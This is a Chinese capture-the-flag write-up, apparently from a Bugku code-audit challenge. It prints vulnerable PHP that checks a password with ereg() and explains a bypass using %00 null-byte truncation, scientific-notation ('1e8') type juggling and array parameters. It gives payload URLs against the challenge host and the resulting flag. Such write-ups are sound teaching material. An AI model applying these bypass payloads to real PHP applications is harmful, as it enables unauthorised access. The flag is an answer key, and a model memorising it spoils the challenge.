zoukankan      html  css  js  c++  java
  • 代码审计-ereg正则%00截断

    <?php
    $flag = "xxx";
    if (isset ($_GET['password']))
    {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
    echo 'You password must be alphanumeric ';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
    if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
    {
        die('Flag: ' . $flag);
    }
    else
    {
        echo('- have not been found');
    }
    }
    else
    {
        echo 'Invalid password';
    }
    }
    ?>

    ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的

    用正则匹配,如果有^[a-zA-Z0-9]+$则直接错误,我们可以用%00来截断,在%00之后的数值函数无法识别

    同时满足   strlen($_GET['password']) < 8 && $_GET['password'] > 9999999

    长度跟数值本来就矛盾,我们可以用1e8 即1x10的八次方或者用数组绕过

    payload

    http://123.206.87.240:9009/5.php?password=1e8%00-

    返回值的结果没有flag

    不知道是不是题目出错了还是故意的

    最终的payload

    http://123.206.87.240:9009/5.php?password=1e8%00*-*
    http://123.206.87.240:9009/5.php?password[]=*-*%00

    Flag: flag{bugku-dm-sj-a12JH8}

     

  • 相关阅读:
    6.让代码更具可读性
    5构造函数和析构函数
    4面向对象之类的继承
    3隐形的指针
    2面向对象之类的封装
    od快捷键
    1.纠结的c++
    101宏定义的其他用法
    100解剖宏定义函数
    99,printf scanf手动功能实现
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11408229.html
Copyright © 2011-2022 走看看